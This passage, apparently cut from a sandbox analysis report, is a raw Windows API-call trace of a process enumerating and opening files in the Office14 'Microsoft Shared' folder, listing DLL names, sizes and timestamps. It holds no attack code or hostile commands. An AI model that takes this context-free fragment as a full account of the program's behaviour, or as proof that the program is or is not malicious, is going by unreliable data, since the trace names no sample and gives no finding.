FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96faef00, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd8247e00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x96faef00, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0051.162] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0051.163] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0051.164] GetLastError () returned 0x12 [0051.164] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0051.164] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.164] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0051.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0051.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 